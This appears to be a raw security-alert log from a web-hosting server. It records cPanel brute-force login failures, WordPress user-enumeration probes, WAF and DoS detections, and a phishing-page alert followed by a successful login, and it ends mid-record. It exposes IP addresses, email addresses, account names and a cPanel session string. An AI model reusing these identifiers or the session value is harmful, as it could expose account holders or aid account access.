[2026-06-25 10:02:32 +0000] info [cpaneld] 103.137.81.41 - fas "GET /login/?login_only=1&user=fas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fas (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.101.67.121
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:192.101.67.121||TA:192.101.67.121||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.73.245.106
country_id: 3895114
description:
[2026-06-25 10:02:26 +0000] info [cpaneld] 200.73.245.106 - fasts "GET /login/?login_only=1&user=fasts&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fasts (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.255.161.68
country_id: 99237
description:
[2026-06-25 10:05:04 +0000] info [cpaneld] 159.255.161.68 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.66.97
country_id: 3895114
description:
[2026-06-25 10:05:08 +0000] info [cpaneld] 179.60.66.97 - ariana "GET /login/?login_only=1&user=ariana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ariana (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.253.209
country_id: 1562822
description:
[2026-06-25 10:05:12 +0000] info [cpaneld] 14.191.253.209 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.56.194.148
country_id: 99237
description:
[2026-06-25 10:05:15 +0000] info [cpaneld] 185.56.194.148 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.205.208.232
country_id: 1605651
description:
[2026-06-25 10:06:03 +0000] info [cpaneld] 223.205.208.232 - lea "GET /login/?login_only=1&user=lea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.174.99.80
country_id: 298795
description:
[2026-06-25 10:05:25 +0000] info [cpaneld] 195.174.99.80 - ar "GET /login/?login_only=1&user=ar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.196.211.199
country_id: 2921044
description:
[2026-06-25 10:05:32 +0000] info [cpaneld] 213.196.211.199 - leadelles "GET /login/?login_only=1&user=leadelles&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelles (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.183.247.119
country_id: 3865483
description:
[2026-06-25 10:05:37 +0000] info [cpaneld] 190.183.247.119 - leadellestg "GET /login/?login_only=1&user=leadellestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadellestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.127.140.134
country_id: 3437598
description:
[2026-06-25 10:05:46 +0000] info [cpaneld] 181.127.140.134 - leadell "GET /login/?login_only=1&user=leadell&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadell (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.105.147.182
country_id: 3625428
description:
[2026-06-25 10:06:09 +0000] info [cpaneld] 143.105.147.182 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.53.7.173
country_id: 1605651
description:
[2026-06-25 10:05:41 +0000] info [cpaneld] 113.53.7.173 - leadelle "GET /login/?login_only=1&user=leadelle&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 10:05:57 +0000] info [cpaneld] 195.3.220.88 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.187.78.13
country_id: 99237
description:
[2026-06-25 10:05:58 +0000] info [cpaneld] 185.187.78.13 - lead "GET /login/?login_only=1&user=lead&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lead (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 145.255.161.221
country_id: 1522867
description:
[2026-06-25 10:05:23 +0000] info [cpaneld] 145.255.161.221 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.117
country_id: 99237
description:
[2026-06-25 10:05:50 +0000] info [cpaneld] 212.237.119.117 - leadel "GET /login/?login_only=1&user=leadel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.45.182.203
country_id: 3895114
description:
[2026-06-25 10:05:54 +0000] info [cpaneld] 190.45.182.203 - leade "GET /login/?login_only=1&user=leade&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leade (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.5.199
country_id: 2542007
description:
[2026-06-25 10:07:40 +0000] info [cpaneld] 41.251.5.199 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.153.88.164
country_id: 289688
description:
[2026-06-25 10:08:06 +0000] info [cpaneld] 178.153.88.164 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.193.197.163
country_id: 99237
description:
[2026-06-25 10:07:53 +0000] info [cpaneld] 130.193.197.163 - lagorai "GET /login/?login_only=1&user=lagorai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.30.212.7
country_id: 690791
description:
[2026-06-25 10:08:00 +0000] info [cpaneld] 78.30.212.7 - lagor "GET /login/?login_only=1&user=lagor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.242.169.98
country_id: 2017370
description:
[2026-06-25 10:08:03 +0000] info [cpaneld] 94.242.169.98 - lago "GET /login/?login_only=1&user=lago&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lago (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.73.99.39
country_id: 1733045
description:
[2026-06-25 10:07:44 +0000] info [cpaneld] 180.73.99.39 - lagorainfo "GET /login/?login_only=1&user=lagorainfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.67.249.116
country_id: 2661886
description:
[2026-06-25 10:07:50 +0000] info [cpaneld] 78.67.249.116 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.220.154
country_id: 3469034
description:
[2026-06-25 10:07:57 +0000] info [cpaneld] 177.136.220.154 - lagora "GET /login/?login_only=1&user=lagora&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagora (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.132.41.247
country_id: 2635167
description:
[2026-06-25 10:07:29 +0000] info [cpaneld] 81.132.41.247 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 10:08:21 +0000] info [whostmgrd] 195.3.220.88 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.107.27.220
country_id: 2921044
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:212.107.27.220||TA:212.107.27.220||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 10:15:06 +0000] info [cpaneld] 37.130.84.20 - amedekabenoit@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 113.211.213.120
country_id: 1733045
description:
113.211.213.120 - - [25/Jun/2026:10:15:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661847&pdata=https%253A%252F%252Fwebmail.elisco.free.netmaster.tg%252F%253Flocale%253Duk&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782382511 HTTP/2.0" 302 0 webmail.elisco.free.netmaster.tg "https://webmail.elisco.free.netmaster.tg/?locale=uk" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:113.211.213.120


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.106.91.40
country_id: 6254930
description:
[2026-06-25 10:15:34 +0000] info [cpaneld] 212.106.91.40 - tdntg "GET /login/?login_only=1&user=tdntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.49.60.130
country_id: 102358
description:
[2026-06-25 10:15:50 +0000] info [cpaneld] 188.49.60.130 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.170.191.91
country_id: 2921044
description:
[2026-06-25 10:15:31 +0000] info [cpaneld] 84.170.191.91 - banmlabtg "GET /login/?login_only=1&user=banmlabtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmlabtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.59.51
country_id: 1282988
description:
[2026-06-25 10:15:40 +0000] info [cpaneld] 111.119.59.51 - banml "GET /login/?login_only=1&user=banml&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banml (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.114.101.21
country_id: 3865483
description:
[2026-06-25 10:15:29 +0000] info [cpaneld] 200.114.101.21 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 119.160.175.158
country_id: 1820814
description:
[2026-06-25 10:15:35 +0000] info [cpaneld] 119.160.175.158 - banmla "GET /login/?login_only=1&user=banmla&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmla (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 120.155.52.72
country_id: 2077456
description:
120.155.52.72 - - [25/Jun/2026:10:17:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657179&pdata=https%253A%252F%252Fcpanel.chatmerce.free.netmaster.tg%252F%253Flocale%253Dfil&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782382620 HTTP/2.0" 302 0 cpanel.chatmerce.free.netmaster.tg "https://cpanel.chatmerce.free.netmaster.tg/?locale=fil" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:120.155.52.72


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.51.198.82
country_id: 290557
description:
[2026-06-25 10:20:01 +0000] info [cpaneld] 2.51.198.82 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.18.38.251
country_id: 2017370
description:
[2026-06-25 10:20:03 +0000] info [cpaneld] 5.18.38.251 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.88.224
country_id: 1512440
description:
[2026-06-25 10:20:22 +0000] info [cpaneld] 213.230.88.224 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.111.44.154
country_id: 1327865
description:
[2026-06-25 10:20:32 +0000] info [cpaneld] 37.111.44.154 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 25 10:20:54 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.12.233.207
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.0.0 Safari/537.36||RSV:8.20||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 216.250.250.43
country_id: 6252001
description:
2026-06-25 10:24:05 H=([216.250.250.43]) [216.250.250.43]:51889 F=<purchase@rsmfaces.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.157.90
country_id: 1562822
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2020/06/02/7-tips-better-ways-to-remove-acne-on-your-face/feed/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.254
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.813657360482531.php||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.21.247.58
country_id: 6252001
description:
[2026-06-25 10:27:46 +0000] info [cpaneld] 3.21.247.58 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.204
country_id: 2635167
description:
[2026-06-25 10:27:59 +0000] info [cpaneld] 5.230.153.204 NEW zykoahbv:7IiESuuYc_UlExfy address=5.230.153.204,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.255.28
country_id: 1733045
description:
180.75.255.28 - - [25/Jun/2026:10:28:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844319&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-cliniques-mobiles-lautre-reponse-aux-inegalites%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782383306 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-cliniques-mobiles-lautre-reponse-aux-inegalites/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.255.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 25 10:29:37 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.156.176.218
country_id: 2802361
domain: lasnbt.snb.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.31.196.180
country_id: 2635167
description:
[2026-06-25 10:35:56 +0000] info [cpaneld] 86.31.196.180 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 10:36:09 +0000] info [cpaneld] 37.130.84.20 - benoit21112@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 172.253.254.57
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Bad file extension||RSV:8.20||T:APACHE||MVN:REQUEST_FILENAME||MV:/web/#karyn.manifold@benefitrecovery.com||User:yydrdvav||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.0.66.244
country_id: 3865483
description:
[2026-06-25 10:37:28 +0000] info [cpaneld] 143.0.66.244 - istm "GET /login/?login_only=1&user=istm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user istm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.61.137.107
country_id: 285570
description:
[2026-06-25 10:37:39 +0000] info [cpaneld] 178.61.137.107 - is "GET /login/?login_only=1&user=is&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user is (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.21.247.58
country_id: 6252001
description:
[2026-06-25 10:41:42 +0000] info [cpaneld] 3.21.247.58 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.224.206.161
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7f7973 HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 25 10:46:05 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 10:46:33 +0000] info [cpaneld] 37.130.84.20 - benito10 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benito10 (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.72
country_id: 1880251
description:
43.173.181.72 - - [25/Jun/2026:10:48:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789745&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fa-la-une%25252Ftogocom-letat-empoche-4825-milliards-f-cfa-dans-la-vente-de-ses-actions%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782384520 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Fa-la-une%2Ftogocom-letat-empoche-4825-milliards-f-cfa-dans-la-vente-de-ses-actions%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.72


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 5.38.44.86
country_id: 290557
domain: sia-togo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 138.197.232.85
country_id: 6252001
description:
138.197.232.85 - - [25/Jun/2026:10:49:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131097&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782384563 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:138.197.232.85


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 25 10:53:47 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.100
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.100: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.101
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.101: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 138.117.98.199
country_id: 3608932
domain: leadelles.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:vuvwskxh||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.102.156
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.102.156: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 79.106.212.64
country_id: 783754
domain: leadelles.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:vuvwskxh||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 138.117.98.199
country_id: 3608932
domain: leadelles.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:vuvwskxh||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 79.106.212.64
country_id: 783754
domain: leadelles.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:vuvwskxh||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.78.136.107
country_id: 2363686
description:
[2026-06-25 10:59:19 +0000] info [webmaild] 41.78.136.107 - equipesmq@inger.tg "GET /cpsess9506430693/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.23.116.59
country_id: 3469034
description:
[2026-06-25 10:59:44 +0000] info [cpaneld] 177.23.116.59 - sncomtg "GET /login/?login_only=1&user=sncomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncomtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.222.59.105
country_id: 3595528
description:
[2026-06-25 10:59:57 +0000] info [cpaneld] 129.222.59.105 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.78.136.107
country_id: 2363686
description:
[2026-06-25 11:00:18 +0000] info [webmaild] 41.78.136.107 - equipesmq@inger.tg "GET /cpsess9506430693/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.7.43.223
country_id: 3469034
description:
[2026-06-25 10:59:37 +0000] info [cpaneld] 45.7.43.223 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.51.80.239
country_id: 1282988
description:
[2026-06-25 10:59:49 +0000] info [cpaneld] 202.51.80.239 - snco "GET /login/?login_only=1&user=snco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snco (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 45.45.237.176
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 45.45.237.176: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:01:29 ns5 pure-ftpd[470659]: (?@134.122.27.233) [WARNING] Authentication failed for user [rolle]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.0.186
country_id: 2363686
description:
